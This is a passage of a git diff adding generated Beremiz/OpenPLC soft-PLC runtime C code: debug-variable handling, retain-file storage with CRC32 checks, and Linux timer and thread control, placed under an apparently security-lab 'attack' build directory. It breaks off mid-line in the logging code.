+{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < 